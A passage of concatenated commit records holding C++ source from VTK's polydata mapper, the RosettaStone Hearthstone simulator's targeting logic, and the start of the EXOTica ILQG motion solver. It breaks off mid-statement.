{\n    \/\/ If more than one pieces, render in loop.\n    currentPiece = this->NumberOfSubPieces * this->Piece + i;\n    input->SetUpdateExtent(currentPiece, nPieces, this->GhostLevel);\n    this->RenderPiece(ren, act);\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkPolyDataMapper::SetInput(vtkPolyData *input)\n{\n  if(input)\n    {\n    this->SetInputConnection(0, input->GetProducerPort());\n    }\n  else\n    {\n    \/\/ Setting a NULL input removes the connection.\n    this->SetInputConnection(0, 0);\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Specify the input data or filter.\nvtkPolyData *vtkPolyDataMapper::GetInput()\n{\n  return vtkPolyData::SafeDownCast(\n    this->GetExecutive()->GetInputData(0, 0));\n}\n\n\/\/ Update the network connected to this mapper.\nvoid vtkPolyDataMapper::Update()\n{\n  if (this->Static)\n    {\n    return;\n    }\n  \n  int currentPiece, nPieces = this->NumberOfPieces;\n  vtkPolyData* input = this->GetInput();\n  \n  \/\/ If the estimated pipeline memory usage is larger than\n  \/\/ the memory limit, break the current piece into sub-pieces.\n  if (input) \n    {\n    currentPiece = this->NumberOfSubPieces * this->Piece;\n    input->SetUpdateExtent(currentPiece, this->NumberOfSubPieces*nPieces, \n                           this->GhostLevel);\n    }\n\n  this->vtkMapper::Update();\n}\n\n\/\/ Get the bounds for the input of this mapper as \n\/\/ (Xmin,Xmax,Ymin,Ymax,Zmin,Zmax).\ndouble *vtkPolyDataMapper::GetBounds()\n{\n  static double bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n  \n  \/\/ do we have an input\n  if ( ! this->GetNumberOfInputConnections(0)) \n    {\n    return bounds;\n    }\n  else\n    {\n    if (!this->Static)\n      {\n      this->Update();\n      this->GetInput()->GetBounds(this->Bounds);\n      }  \n    \/\/ if the bounds indicate NAN and subpieces are being used then \n    \/\/ return NULL\n    if (!vtkMath::AreBoundsInitialized(this->Bounds)\n        && this->NumberOfSubPieces > 1)\n      {\n      return NULL;\n      }\n    return this->Bounds;\n    }\n}\n\nvoid vtkPolyDataMapper::ShallowCopy(vtkAbstractMapper *mapper)\n{\n  vtkPolyDataMapper *m = vtkPolyDataMapper::SafeDownCast(mapper);\n  if ( m != NULL )\n    {\n    this->SetInput(m->GetInput());\n    this->SetGhostLevel(m->GetGhostLevel());\n    this->SetNumberOfPieces(m->GetNumberOfPieces());\n    this->SetNumberOfSubPieces(m->GetNumberOfSubPieces());\n    }\n\n  \/\/ Now do superclass\n  this->vtkMapper::ShallowCopy(mapper);\n}\n\nvoid vtkPolyDataMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Piece : \" << this->Piece << endl;\n  os << indent << \"NumberOfPieces : \" << this->NumberOfPieces << endl;\n  os << indent << \"GhostLevel: \" << this->GhostLevel << endl;\n  os << indent << \"Number of sub pieces: \" << this->NumberOfSubPieces\n     << endl;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkPolyDataMapper::FillInputPortInformation(\n  int vtkNotUsed( port ), vtkInformation* info)\n{\n  info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkPolyData\");\n  return 1;\n}\n<commit_msg>ENH: Changes necessary to get streaming woring in ParaView.<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkPolyDataMapper.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#include \"vtkPolyDataMapper.h\"\n\n#include \"vtkExecutive.h\"\n#include \"vtkGraphicsFactory.h\"\n#include \"vtkInformation.h\"\n#include \"vtkMath.h\"\n#include \"vtkPolyData.h\"\n#include \"vtkRenderWindow.h\"\n\nvtkCxxRevisionMacro(vtkPolyDataMapper, \"1.39\");\n\n\/\/----------------------------------------------------------------------------\n\/\/ Needed when we don't use the vtkStandardNewMacro.\nvtkInstantiatorNewMacro(vtkPolyDataMapper);\n\n\/\/----------------------------------------------------------------------------\n\/\/ return the correct type of PolyDataMapper \nvtkPolyDataMapper *vtkPolyDataMapper::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkGraphicsFactory::CreateInstance(\"vtkPolyDataMapper\");\n  return (vtkPolyDataMapper*)ret;\n}\n\n\n\/\/----------------------------------------------------------------------------\nvtkPolyDataMapper::vtkPolyDataMapper()\n{\n  this->Piece = 0;\n  this->NumberOfPieces = 1;\n  this->NumberOfSubPieces = 1;\n  this->GhostLevel = 0;\n}\n\nvoid vtkPolyDataMapper::Render(vtkRenderer *ren, vtkActor *act) \n{\n  if (this->Static)\n    {\n    this->RenderPiece(ren,act);\n    return;\n    }\n  \n  int currentPiece, nPieces;\n  vtkPolyData *input = this->GetInput();\n  \n  if (input == NULL)\n    {\n    vtkErrorMacro(\"Mapper has no input.\");\n    return;\n    }\n  \n  nPieces = this->NumberOfPieces * this->NumberOfSubPieces;\n\n  for(int i=0; i<this->NumberOfSubPieces; i++)\n    {\n    \/\/ If more than one pieces, render in loop.\n    currentPiece = this->NumberOfSubPieces * this->Piece + i;\n    input->SetUpdateExtent(currentPiece, nPieces, this->GhostLevel);\n    this->RenderPiece(ren, act);\n    }\n}\n\n\/\/----------------------------------------------------------------------------\nvoid vtkPolyDataMapper::SetInput(vtkPolyData *input)\n{\n  if(input)\n    {\n    this->SetInputConnection(0, input->GetProducerPort());\n    }\n  else\n    {\n    \/\/ Setting a NULL input removes the connection.\n    this->SetInputConnection(0, 0);\n    }\n}\n\n\/\/----------------------------------------------------------------------------\n\/\/ Specify the input data or filter.\nvtkPolyData *vtkPolyDataMapper::GetInput()\n{\n  return vtkPolyData::SafeDownCast(\n    this->GetExecutive()->GetInputData(0, 0));\n}\n\n\/\/ Update the network connected to this mapper.\nvoid vtkPolyDataMapper::Update()\n{\n  if (this->Static)\n    {\n    return;\n    }\n  \n  int currentPiece, nPieces = this->NumberOfPieces;\n  vtkPolyData* input = this->GetInput();\n  \n  \/\/ If the estimated pipeline memory usage is larger than\n  \/\/ the memory limit, break the current piece into sub-pieces.\n  if (input) \n    {\n    currentPiece = this->NumberOfSubPieces * this->Piece;\n    input->SetUpdateExtent(currentPiece, this->NumberOfSubPieces*nPieces, \n                           this->GhostLevel);\n    }\n\n  this->vtkMapper::Update();\n}\n\n\/\/ Get the bounds for the input of this mapper as \n\/\/ (Xmin,Xmax,Ymin,Ymax,Zmin,Zmax).\ndouble *vtkPolyDataMapper::GetBounds()\n{\n  static double bounds[] = {-1.0,1.0, -1.0,1.0, -1.0,1.0};\n  \n  \/\/ do we have an input\n  if ( ! this->GetNumberOfInputConnections(0)) \n    {\n    return bounds;\n    }\n  else\n    {\n    if (!this->Static)\n      {\n      \/\/ For proper clipping, this would be this->Piece, this->NumberOfPieces ..\n      \/\/ But that removes all benefites of streaming.\n      \/\/ Update everything as a hack for paraview streaming.\n      \/\/ This should not affect anything else, because no one uses this.\n      \/\/ It should also render just the same.\n      \/\/ Just remove this lie if we no longer need streaming in paraview :)\n      this->GetInput()->SetUpdateExtent(0, 1, 0);\n      this->GetInput()->Update();\n      this->GetInput()->GetBounds(this->Bounds);\n      }  \n    \/\/ if the bounds indicate NAN and subpieces are being used then \n    \/\/ return NULL\n    if (!vtkMath::AreBoundsInitialized(this->Bounds)\n        && this->NumberOfSubPieces > 1)\n      {\n      return NULL;\n      }\n    return this->Bounds;\n    }\n}\n\nvoid vtkPolyDataMapper::ShallowCopy(vtkAbstractMapper *mapper)\n{\n  vtkPolyDataMapper *m = vtkPolyDataMapper::SafeDownCast(mapper);\n  if ( m != NULL )\n    {\n    this->SetInput(m->GetInput());\n    this->SetGhostLevel(m->GetGhostLevel());\n    this->SetNumberOfPieces(m->GetNumberOfPieces());\n    this->SetNumberOfSubPieces(m->GetNumberOfSubPieces());\n    }\n\n  \/\/ Now do superclass\n  this->vtkMapper::ShallowCopy(mapper);\n}\n\nvoid vtkPolyDataMapper::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os,indent);\n\n  os << indent << \"Piece : \" << this->Piece << endl;\n  os << indent << \"NumberOfPieces : \" << this->NumberOfPieces << endl;\n  os << indent << \"GhostLevel: \" << this->GhostLevel << endl;\n  os << indent << \"Number of sub pieces: \" << this->NumberOfSubPieces\n     << endl;\n}\n\n\/\/----------------------------------------------------------------------------\nint vtkPolyDataMapper::FillInputPortInformation(\n  int vtkNotUsed( port ), vtkInformation* info)\n{\n  info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkPolyData\");\n  return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2019 SabberStone Team, darkfriend77 & rnilva\n\/\/ RosettaStone is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2019 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <Rosetta\/Actions\/Targeting.hpp>\n#include <Rosetta\/Games\/Game.hpp>\n\n#include <algorithm>\n\nnamespace RosettaStone::Generic\n{\n\/\/! A list of play requirements that needs a target.\nconstexpr std::array<PlayReq, 8> NEEDS_TARGET_LIST = {\n    PlayReq::REQ_TARGET_TO_PLAY,\n    PlayReq::REQ_TARGET_IF_AVAILABLE,\n    PlayReq::REQ_TARGET_FOR_COMBO,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_DRAGON_IN_HAND,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_MINIMUM_FRIENDLY_MINIONS,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_MINIMUM_FRIENDLY_SECRETS,\n    PlayReq::REQ_TARGET_IF_AVAILABE_AND_ELEMENTAL_PLAYED_LAST_TURN,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_NO_3_COST_CARD_IN_DECK\n};\n\nbool IsSourceNeedsTarget(Entity* source)\n{\n    for (auto& requirement : source->card.playRequirements)\n    {\n        auto iter = std::find(NEEDS_TARGET_LIST.begin(),\n                              NEEDS_TARGET_LIST.end(), requirement.first);\n        if (iter != NEEDS_TARGET_LIST.end())\n        {\n            return true;\n        }\n    }\n\n    return false;\n}\n\nbool IsValidTarget(Entity* source, Entity* target)\n{\n    \/\/ Get valid play targets\n    auto targetList = GetValidTargets(source);\n\n    \/\/ Return if source needs a target, but target is null and list is empty\n    if (IsSourceNeedsTarget(source) && target == nullptr && targetList.empty())\n    {\n        return false;\n    }\n\n    \/\/ Check source must require a target\n    bool requiresTarget = false;\n    for (auto& requirement : source->card.playRequirements)\n    {\n        if (requirement.first == PlayReq::REQ_TARGET_TO_PLAY)\n        {\n            requiresTarget = true;\n            break;\n        }\n    }\n\n    \/\/ Return if source must require a target, but target is null\n    if (requiresTarget && target == nullptr)\n    {\n        return false;\n    }\n\n    \/\/ Return if target is exist, but not exist in target list\n    if (target != nullptr && std::find(targetList.begin(), targetList.end(),\n                                       target) == targetList.end())\n    {\n        return false;\n    }\n\n    return true;\n}\n\nstd::vector<Character*> GetValidTargets(Entity* source)\n{\n    std::vector<Character*> ret;\n\n    \/\/ If source don't need a target, return an empty vector\n    if (!IsSourceNeedsTarget(source))\n    {\n        return ret;\n    }\n\n    auto game = source->owner->GetGame();\n\n    \/\/ Check play requirements for player's hero\n    if (CheckRequirements(source, game->GetPlayer1().GetHero()))\n    {\n        ret.emplace_back(game->GetPlayer1().GetHero());\n    }\n    if (CheckRequirements(source, game->GetPlayer2().GetHero()))\n    {\n        ret.emplace_back(game->GetPlayer2().GetHero());\n    }\n\n    \/\/ Check play requirements for player's minions\n    for (auto& minion : game->GetPlayer1().GetField().GetAllMinions())\n    {\n        if (CheckRequirements(source, minion))\n        {\n            ret.emplace_back(minion);\n        }\n    }\n    for (auto& minion : game->GetPlayer2().GetField().GetAllMinions())\n    {\n        if (CheckRequirements(source, minion))\n        {\n            ret.emplace_back(minion);\n        }\n    }\n\n    return ret;\n}\n\nbool CheckRequirements(Entity* source, Character* target)\n{\n    for (auto& requirement : source->card.playRequirements)\n    {\n        const PlayReq req = requirement.first;\n        const int param = requirement.second;\n\n        switch (req)\n        {\n            case PlayReq::REQ_MINION_TARGET:\n            {\n                if (dynamic_cast<Minion*>(target) == nullptr)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_FRIENDLY_TARGET:\n                if (target->owner != source->owner)\n                {\n                    return false;\n                }\n                break;\n            case PlayReq::REQ_ENEMY_TARGET:\n            {\n                if (target->owner == source->owner)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_MAX_ATTACK:\n            {\n                if (target->GetAttack() > param)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_NONSELF_TARGET:\n            {\n                if (source == target)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_WITH_RACE:\n            {\n                if (target->card.GetRace() != static_cast<Race>(param))\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_MIN_ATTACK:\n            {\n                if (target->GetAttack() < param)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_UNDAMAGED_TARGET:\n            {\n                if (target->GetDamage() > 0)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_TO_PLAY:\n            case PlayReq::REQ_TARGET_IF_AVAILABLE:\n                break;\n            default:\n                break;\n        }\n    }\n\n    return true;\n}\n}  \/\/ namespace RosettaStone::Generic\n<commit_msg>feat(card-impl): Add code to consider PlayReq::REQ_DAMAGED_TARGET<commit_after>\/\/ This code is based on Sabberstone project.\n\/\/ Copyright (c) 2017-2019 SabberStone Team, darkfriend77 & rnilva\n\/\/ RosettaStone is hearthstone simulator using C++ with reinforcement learning.\n\/\/ Copyright (c) 2019 Chris Ohk, Youngjoong Kim, SeungHyun Jeon\n\n#include <Rosetta\/Actions\/Targeting.hpp>\n#include <Rosetta\/Games\/Game.hpp>\n\n#include <algorithm>\n\nnamespace RosettaStone::Generic\n{\n\/\/! A list of play requirements that needs a target.\nconstexpr std::array<PlayReq, 8> NEEDS_TARGET_LIST = {\n    PlayReq::REQ_TARGET_TO_PLAY,\n    PlayReq::REQ_TARGET_IF_AVAILABLE,\n    PlayReq::REQ_TARGET_FOR_COMBO,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_DRAGON_IN_HAND,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_MINIMUM_FRIENDLY_MINIONS,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_MINIMUM_FRIENDLY_SECRETS,\n    PlayReq::REQ_TARGET_IF_AVAILABE_AND_ELEMENTAL_PLAYED_LAST_TURN,\n    PlayReq::REQ_TARGET_IF_AVAILABLE_AND_NO_3_COST_CARD_IN_DECK\n};\n\nbool IsSourceNeedsTarget(Entity* source)\n{\n    for (auto& requirement : source->card.playRequirements)\n    {\n        auto iter = std::find(NEEDS_TARGET_LIST.begin(),\n                              NEEDS_TARGET_LIST.end(), requirement.first);\n        if (iter != NEEDS_TARGET_LIST.end())\n        {\n            return true;\n        }\n    }\n\n    return false;\n}\n\nbool IsValidTarget(Entity* source, Entity* target)\n{\n    \/\/ Get valid play targets\n    auto targetList = GetValidTargets(source);\n\n    \/\/ Return if source needs a target, but target is null and list is empty\n    if (IsSourceNeedsTarget(source) && target == nullptr && targetList.empty())\n    {\n        return false;\n    }\n\n    \/\/ Check source must require a target\n    bool requiresTarget = false;\n    for (auto& requirement : source->card.playRequirements)\n    {\n        if (requirement.first == PlayReq::REQ_TARGET_TO_PLAY)\n        {\n            requiresTarget = true;\n            break;\n        }\n    }\n\n    \/\/ Return if source must require a target, but target is null\n    if (requiresTarget && target == nullptr)\n    {\n        return false;\n    }\n\n    \/\/ Return if target is exist, but not exist in target list\n    if (target != nullptr && std::find(targetList.begin(), targetList.end(),\n                                       target) == targetList.end())\n    {\n        return false;\n    }\n\n    return true;\n}\n\nstd::vector<Character*> GetValidTargets(Entity* source)\n{\n    std::vector<Character*> ret;\n\n    \/\/ If source don't need a target, return an empty vector\n    if (!IsSourceNeedsTarget(source))\n    {\n        return ret;\n    }\n\n    auto game = source->owner->GetGame();\n\n    \/\/ Check play requirements for player's hero\n    if (CheckRequirements(source, game->GetPlayer1().GetHero()))\n    {\n        ret.emplace_back(game->GetPlayer1().GetHero());\n    }\n    if (CheckRequirements(source, game->GetPlayer2().GetHero()))\n    {\n        ret.emplace_back(game->GetPlayer2().GetHero());\n    }\n\n    \/\/ Check play requirements for player's minions\n    for (auto& minion : game->GetPlayer1().GetField().GetAllMinions())\n    {\n        if (CheckRequirements(source, minion))\n        {\n            ret.emplace_back(minion);\n        }\n    }\n    for (auto& minion : game->GetPlayer2().GetField().GetAllMinions())\n    {\n        if (CheckRequirements(source, minion))\n        {\n            ret.emplace_back(minion);\n        }\n    }\n\n    return ret;\n}\n\nbool CheckRequirements(Entity* source, Character* target)\n{\n    for (auto& requirement : source->card.playRequirements)\n    {\n        const PlayReq req = requirement.first;\n        const int param = requirement.second;\n\n        switch (req)\n        {\n            case PlayReq::REQ_MINION_TARGET:\n            {\n                if (dynamic_cast<Minion*>(target) == nullptr)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_FRIENDLY_TARGET:\n                if (target->owner != source->owner)\n                {\n                    return false;\n                }\n                break;\n            case PlayReq::REQ_ENEMY_TARGET:\n            {\n                if (target->owner == source->owner)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_DAMAGED_TARGET:\n            {\n                if (target->GetDamage() == 0)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_MAX_ATTACK:\n            {\n                if (target->GetAttack() > param)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_NONSELF_TARGET:\n            {\n                if (source == target)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_WITH_RACE:\n            {\n                if (target->card.GetRace() != static_cast<Race>(param))\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_MIN_ATTACK:\n            {\n                if (target->GetAttack() < param)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_UNDAMAGED_TARGET:\n            {\n                if (target->GetDamage() > 0)\n                {\n                    return false;\n                }\n                break;\n            }\n            case PlayReq::REQ_TARGET_TO_PLAY:\n            case PlayReq::REQ_TARGET_IF_AVAILABLE:\n                break;\n            default:\n                break;\n        }\n    }\n\n    return true;\n}\n}  \/\/ namespace RosettaStone::Generic\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2019, University of Edinburgh\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/  * Redistributions of source code must retain the above copyright notice,\n\/\/    this list of conditions and the following disclaimer.\n\/\/  * Redistributions in binary form must reproduce the above copyright\n\/\/    notice, this list of conditions and the following disclaimer in the\n\/\/    documentation and\/or other materials provided with the distribution.\n\/\/  * Neither the name of  nor the names of its contributors may be used to\n\/\/    endorse or promote products derived from this software without specific\n\/\/    prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_ilqg_solver\/ilqg_solver.h>\n\nREGISTER_MOTIONSOLVER_TYPE(\"ILQGSolver\", exotica::ILQGSolver)\n\nnamespace exotica\n{\nvoid ILQGSolver::SpecifyProblem(PlanningProblemPtr pointer)\n{\n    if (pointer->type() != \"exotica::DynamicTimeIndexedShootingProblem\")\n    {\n        ThrowNamed(\"This ILQGSolver can't solve problem of type '\" << pointer->type() << \"'!\");\n    }\n\n    MotionSolver::SpecifyProblem(pointer);\n    prob_ = std::static_pointer_cast<DynamicTimeIndexedShootingProblem>(pointer);\n    dynamics_solver_ = prob_->GetScene()->GetDynamicsSolver();\n    if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"initialized\");\n}\n\nvoid ILQGSolver::BackwardPass()\n{\n    constexpr double min_clamp_ = -1e10;\n    constexpr double max_clamp_ = 1e10;\n    const int T = prob_->get_T();\n    const double dt = dynamics_solver_->get_dt();\n    const int NU = prob_->get_num_controls();\n\n    \/\/ Noise terms\n    Eigen::VectorXd big_C_times_little_c = Eigen::VectorXd::Zero(NU, 1);\n    Eigen::MatrixXd big_C_times_big_C = Eigen::MatrixXd::Zero(NU, NU);\n    Eigen::MatrixXd little_c_times_little_c = Eigen::MatrixXd::Zero(1, 1);\n\n    \/\/ Value function and derivatives at the final timestep\n    double s0 = prob_->GetStateCost(T - 1);\n    Eigen::MatrixXd s = prob_->GetStateCostJacobian(T - 1);\n    Eigen::MatrixXd S = prob_->GetStateCostHessian(T - 1);\n\n    for (int t = T - 2; t > 0; --t)\n    {\n        \/\/ eq. 3\n        Eigen::VectorXd x = prob_->get_X(t), u = prob_->get_U(t);\n        dynamics_solver_->ComputeDerivatives(x, u);\n        Eigen::MatrixXd A = dynamics_solver_->get_fx(), B = dynamics_solver_->get_fu();\n\n        A.noalias() = A * dt + Eigen::MatrixXd::Identity(A.rows(), A.cols());\n        B.noalias() = B * dt;\n\n        double q0 = dt * (prob_->GetStateCost(t) + prob_->GetControlCost(t));\n        \/\/ Aliases from the paper used. These are used with different names in e.g. DDPSolver.\n        Eigen::MatrixXd q = dt * prob_->GetStateCostJacobian(t);\n        Eigen::MatrixXd Q = dt * prob_->GetStateCostHessian(t);\n        Eigen::MatrixXd r = dt * prob_->GetControlCostJacobian(t);\n        Eigen::MatrixXd R = dt * prob_->GetControlCostHessian(t);\n        Eigen::MatrixXd P = dt * prob_->GetStateControlCostHessian();\n\n        Eigen::MatrixXd g = r + B.transpose() * s;\n        Eigen::MatrixXd G = P + B.transpose() * S * A;\n        Eigen::MatrixXd H = R + B.transpose() * S * B;\n\n        if (parameters_.IncludeNoiseTerms)\n        {\n            Eigen::MatrixXd F = prob_->get_F(t);\n            for (int i = 0; i < NU; ++i)\n            {\n                Eigen::MatrixXd C = std::sqrt(dt) * prob_->GetControlNoiseJacobian(i);\n                Eigen::VectorXd c = std::sqrt(dt) * F.col(i);\n\n                big_C_times_little_c = big_C_times_little_c + C.transpose() * S * c;\n                big_C_times_big_C = big_C_times_big_C + C.transpose() * S * C;\n                little_c_times_little_c = little_c_times_little_c + c.transpose() * S * c;\n            }\n\n            g = g + big_C_times_little_c;\n            H = H + big_C_times_big_C;\n        }\n\n        \/\/ optimal U\n        Eigen::EigenSolver<Eigen::Matrix<double, Eigen::Dynamic, Eigen::Dynamic>> eig_solver(H);\n        auto d = eig_solver.eigenvalues();\n        auto V = eig_solver.eigenvectors();\n        Eigen::MatrixXcd D = Eigen::MatrixXcd::Zero(d.size(), d.size());\n\n        for (int i = 0; i < d.size(); ++i)\n        {\n            if (d[i].real() < 0)\n                d[i] = 0;\n            d[i] = 1. \/ (d[i] + parameters_.RegularizationRate);\n            D(i, i) = d[i];\n        }\n\n        Eigen::MatrixXd H1 = (V * D * V.transpose()).real();\n\n        l_gains_[t] = -H1 * g;\n        L_gains_[t] = -H1 * G;\n\n        \/\/ Recursive terms update\n        S = Q + A.transpose() * S * A + L_gains_[t].transpose() * H * L_gains_[t] + L_gains_[t].transpose() * G + G.transpose() * L_gains_[t];\n        s = q + A.transpose() * s + L_gains_[t].transpose() * H * l_gains_[t] +\n            L_gains_[t].transpose() * g + G.transpose() * l_gains_[t];\n        s0 = q0 + s0 + (l_gains_[t].transpose() * H * l_gains_[t] \/ 2.0 +\n                        l_gains_[t].transpose() * g)(0);\n\n        if (parameters_.IncludeNoiseTerms)\n        {\n            s0 = s0 + 0.5 * little_c_times_little_c(0);\n        }\n\n        \/\/ fix for large values\n        S = S.unaryExpr([min_clamp_, max_clamp_](double x) -> double {\n            return std::min(std::max(x, min_clamp_), max_clamp_);\n        });\n        s = s.unaryExpr([min_clamp_, max_clamp_](double x) -> double {\n            return std::min(std::max(x, min_clamp_), max_clamp_);\n        });\n        s0 = std::min(std::max(s0, min_clamp_), max_clamp_);\n    }\n}\n\ndouble ILQGSolver::ForwardPass(const double alpha, Eigen::MatrixXdRefConst ref_x, Eigen::MatrixXdRefConst ref_u)\n{\n    double cost = 0;\n    const int T = prob_->get_T();\n    const Eigen::MatrixXd control_limits = dynamics_solver_->get_control_limits();\n    const double dt = dynamics_solver_->get_dt();\n\n    \/\/ NOTE: Todorov uses the linearized system in forward simulation.\n    \/\/  We here use the full system dynamics. YMMV\n    for (int t = 0; t < T - 1; ++t)\n    {\n        Eigen::VectorXd u = ref_u.col(t);\n        \/\/ eq. 12\n        Eigen::VectorXd delta_uk = l_gains_[t] +\n                                   L_gains_[t] * dynamics_solver_->StateDelta(prob_->get_X(t), ref_x.col(t));\n\n        u.noalias() += alpha * delta_uk;\n        \/\/ clamp controls\n        u = u.cwiseMax(control_limits.col(0)).cwiseMin(control_limits.col(1));\n\n        prob_->Update(u, t);\n        cost += dt * (prob_->GetControlCost(t) + prob_->GetStateCost(t));\n    }\n\n    \/\/ add terminal cost\n    cost += prob_->GetStateCost(T - 1);\n    return cost;\n}\n\nvoid ILQGSolver::Solve(Eigen::MatrixXd& solution)\n{\n    if (!prob_) ThrowNamed(\"Solver has not been initialized!\");\n    Timer planning_timer, backward_pass_timer, line_search_timer;\n    \/\/ TODO: This is an interesting approach but might give us incorrect results.\n    prob_->DisableStochasticUpdates();\n\n    const int T = prob_->get_T();\n    const int NU = prob_->get_num_controls();\n    const int NX = prob_->get_num_positions() + prob_->get_num_velocities();\n    const double dt = dynamics_solver_->get_dt();\n    prob_->ResetCostEvolution(GetNumberOfMaxIterations() + 1);\n    prob_->PreUpdate();\n\n    double initial_cost = 0;\n    for (int t = 0; t < T - 1; ++t)\n        initial_cost += dt * (prob_->GetControlCost(t) + prob_->GetStateCost(t));\n\n    \/\/ add terminal cost\n    initial_cost += prob_->GetStateCost(T - 1);\n    prob_->SetCostEvolution(0, initial_cost);\n\n    \/\/ initialize Gain matrices\n    l_gains_.assign(T, Eigen::MatrixXd::Zero(NU, 1));\n    L_gains_.assign(T, Eigen::MatrixXd::Zero(NU, NX));\n\n    \/\/ all of the below are not pointers, since we want to copy over\n    \/\/  solutions across iterations\n    Eigen::MatrixXd new_U, global_best_U = prob_->get_U();\n    solution.resize(T - 1, NU);\n\n    if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Running ILQG solver for max \" << parameters_.MaxIterations << \" iterations\");\n\n    double last_cost = initial_cost, global_best_cost = initial_cost;\n    int last_best_iteration = 0;\n\n    for (int iteration = 1; iteration <= GetNumberOfMaxIterations(); ++iteration)\n    {\n        \/\/ Check whether user interrupted (Ctrl+C)\n        if (Server::IsRos() && !ros::ok())\n        {\n            if (debug_) HIGHLIGHT(\"Solving cancelled by user\");\n            prob_->termination_criterion = TerminationCriterion::UserDefined;\n            break;\n        }\n\n        \/\/ Backwards pass computes the gains\n        backward_pass_timer.Reset();\n        BackwardPass();\n        if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Backward pass complete in \" << backward_pass_timer.GetDuration());\n        \/\/ if (debug_) HIGHLIGHT_NAMED(\"ILQGSolver\", \"Backward pass complete in \" << backward_pass_timer.GetDuration());\n\n        line_search_timer.Reset();\n        \/\/ forward pass to compute new control trajectory\n        \/\/ TODO: Configure line-search space from xml\n        \/\/ TODO (Wolf): What you are doing is a forward line-search when we may try a\n        \/\/    backtracking line search for a performance improvement later - this just as an aside.\n        const Eigen::VectorXd alpha_space = Eigen::VectorXd::LinSpaced(10, 0.1, 1.0);\n        double current_cost = 0, best_alpha = 0;\n\n        Eigen::MatrixXd ref_x = prob_->get_X(),\n                        ref_u = prob_->get_U();\n        \/\/ perform a linear search to find the best rate\n        for (int ai = 0; ai < alpha_space.rows(); ++ai)\n        {\n            double alpha = alpha_space(ai);\n            double cost = ForwardPass(alpha, ref_x, ref_u);\n\n            if (ai == 0 || (cost < current_cost && !std::isnan(cost)))\n            {\n                current_cost = cost;\n                new_U = prob_->get_U();\n                best_alpha = alpha;\n            }\n            \/\/ else if (cost > current_cost)\n            \/\/ break;\n        }\n\n        \/\/ finite checks\n        if (!new_U.allFinite() || !std::isfinite(current_cost))\n        